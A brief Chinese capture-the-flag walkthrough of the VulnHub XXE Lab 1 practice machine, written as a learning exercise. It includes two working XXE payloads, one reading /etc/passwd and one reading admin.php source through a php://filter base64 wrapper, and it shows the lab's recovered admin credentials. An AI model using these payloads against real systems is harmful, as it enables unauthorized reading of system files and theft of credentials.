靶机下载地址:https://www.vulnhub.com/entry/xxe-lab-1,254/
1、 信息收集,nmap探测靶机地址
得到目标地址192.168.248.168,只开放80端口
2、 使用御剑对目标网站后台扫描
3、 发现存在信息页面
4、 访问/xxe路径
5、 传参抓包,得知通过xml传参
6、 构造恶意xml,替换参数
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<root><name>&admin;</name><password>1</password></root>
7、 成功读取到/etc/passwd中内容
证明存在XXE漏洞
8、 通过php伪协议base64加密读admin.php源码
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "php://filter/convert.base64-encode/resource=admin.php">
]>
<root><name>&admin;</name><password>1</password></root>
9、 将返回值base64解码
得到用户名和密码md5值
解密密码
得到admin.php页面用户名/密码:administhebest/admin@123
10、得到flag提示
11、访问得到flag提示
Baes32解码然后base64解码,得到路径
12、使用php伪协议再次读文件
解码:
13、创建php文件,将解码后的内容插入<?php ?>中
使用xampp环境访问文件,得到报错结果没有flag
使用phpstudy访问文件,得到最终flag。